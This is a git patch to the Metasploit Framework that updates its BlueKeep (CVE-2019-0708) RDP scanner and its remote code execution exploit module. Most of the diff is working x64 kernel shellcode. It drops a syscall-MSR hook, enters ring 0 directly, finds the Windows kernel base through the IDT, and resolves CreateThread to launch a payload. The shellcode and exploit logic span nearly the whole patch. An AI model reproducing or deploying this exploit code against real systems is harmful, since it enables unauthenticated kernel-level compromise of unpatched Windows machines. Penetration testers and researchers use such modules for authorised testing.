From eebe4e9bc2a36be5f89a0b16521901faeb644a6a Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 11 Nov 2019 17:33:52 -0600 Subject: [PATCH] Land #12553, Meltdown fix for BlueKeep exploit --- .../scanner/rdp/cve_2019_0708_bluekeep.rb | 3 +- .../windows/rdp/cve_2019_0708_bluekeep_rce.rb | 144 +++--------------- 2 files changed, 23 insertions(+), 124 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb b/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb index e91d1c6032..f0b2dc2ca4 100644 --- a/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb +++ b/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb @@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary 'References' => [ [ 'CVE', '2019-0708' ], - [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ] + [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ], + [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ] ], 'DisclosureDate' => '2019-05-14', 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb index d390a049a6..d4be577b87 100644 --- a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb +++ b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb @@ -79,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote [ ['CVE', '2019-0708'], ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], + ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html'] ], 'DefaultOptions' => { @@ -404,7 +405,11 @@ _egg_loop: # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c - data_kapc_offset = 0x10 + data_kapc_offset = 0x30 + + data_hal_original_syscall_shadow_common_offset_offset = 0x20 + data_hal_fake_syscall_spinlock_offset = 0x10 + data_nt_kernel_addr_offset = 0x8 data_origin_syscall_offset = 0 data_peb_addr_offset = -0x10 @@ -426,51 +431,26 @@ _egg_loop: asm = %Q^ shellcode_start: + ; egg tag nop nop nop nop - ; IRQL is DISPATCH_LEVEL when got code execution - push rbp +setup_syscall_shadow_hook: + ; IRQL is PASSIVE_LEVEL when got code execution + ;int 0x3 - call set_rbp_data_address_fn + mov rbp, #{hal_heap_storage} - ; read current syscall - mov ecx, 0xc0000082 - rdmsr - ; do NOT replace saved original syscall address with hook syscall - lea r9, [rel syscall_hook] - cmp eax, r9d - je _setup_syscall_hook_done - - ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize - cmp dword [rbp+#{data_origin_syscall_offset}], eax - je _hook_syscall - - ; save original syscall - mov dword [rbp+#{data_origin_syscall_offset}+4], edx - mov dword [rbp+#{data_origin_syscall_offset}], eax - - ; first time on the target - mov byte [rbp+#{data_queueing_kapc_offset}], 0 - -_hook_syscall: - ; set a new syscall on running processor - ; setting MSR 0xc0000082 affects only running processor - xchg r9, rax - push rax - pop rdx ; mov rdx, rax - shr rdx, 32 - wrmsr - -_setup_syscall_hook_done: - pop rbp - -;--------------------- HACK crappy thread cleanup -------------------- -; This code is effectively the same as the epilogue of the function that calls -; the vulnerable function in the kernel, with a tweak or two. + ; allow interrupts while executing shellcode + sti + call r3_to_r0_start + cli + ;--------------------- HACK crappy thread cleanup -------------------- + ; This code is effectively the same as the epilogue of the function that calls + ; the vulnerable function in the kernel, with a tweak or two. ; TODO: make the lock not suck!! mov rax, qword [gs:0x188] add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++ @@ -487,88 +467,6 @@ _setup_syscall_hook_done: pop rdi ret -;--------------------- END HACK crappy thread cleanup - -;======================================================================== -; Find memory address in HAL heap for using as data area -; Return: rbp = data address -;======================================================================== -set_rbp_data_address_fn: - ; On idle target without user application, syscall on hijacked processor might not be called immediately. - ; Find some address to store the data, the data in this address MUST not be modified - ; when exploit is rerun before syscall is called - ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] - - ; ------ HACK rbp wasnt valid! - - mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap?? - - ; --------- HACK end rbp - -_set_rbp_data_address_fn_next: - ;shr rbp, 12 - ;shl rbp, 12 - ;sub rbp, 0x70 ; for KAPC struct too - ret - - ;int 3 - ;call $+5 - ;pop r13 -syscall_hook: - swapgs - mov qword [gs:0x10], rsp - mov rsp, qword [gs:0x1a8] - push 0x2b - push qword [gs:0x10] - - push rax ; want this stack space to store original syscall addr - ; save rax first to make this function continue to real syscall - push rax - push rbp ; save rbp here because rbp is special register for accessing this shellcode data - call set_rbp_data_address_fn - mov rax, [rbp+#{data_origin_syscall_offset}] - add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler - mov [rsp+0x10], rax - - ; save all volatile registers - push rcx - push rdx - push r8 - push r9 - push r10 - push r11 - - ; use lock cmpxchg for queueing APC only one at a time - xor eax, eax - mov dl, 1 - lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl - jnz _syscall_hook_done - - ;====================================== - ; restore syscall - ;====================================== - ; an error after restoring syscall should never occur - mov ecx, 0xc0000082 - mov eax, [rbp+#{data_origin_syscall_offset}] - mov edx, [rbp+#{data_origin_syscall_offset}+4] - wrmsr - - ; allow interrupts while executing shellcode - sti - call r3_to_r0_start - cli - -_syscall_hook_done: - pop r11 - pop r10 - pop r9 - pop r8 - pop rdx - pop rcx - pop rbp - pop rax - ret - r3_to_r0_start: ; save used non-volatile registers push r15 @@ -581,8 +479,9 @@ r3_to_r0_start: ;====================================== ; find nt kernel address ;====================================== - mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel - shr r15, 0xc ; strip to page size + mov r15, qword [gs:0x38] ; get IdtBase of KPCR + mov r15, qword [r15 + 0x4] ; get ISR address + shr r15, 0xc ; strip to page size shl r15, 0xc _x64_find_nt_walk_page: @@ -993,7 +892,6 @@ _find_kernel32_dll_loop: cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 jnz _find_kernel32_dll_loop - ;int3 mov r15, [rax+0x20] mov edi, #{createthread_hash} call get_proc_addr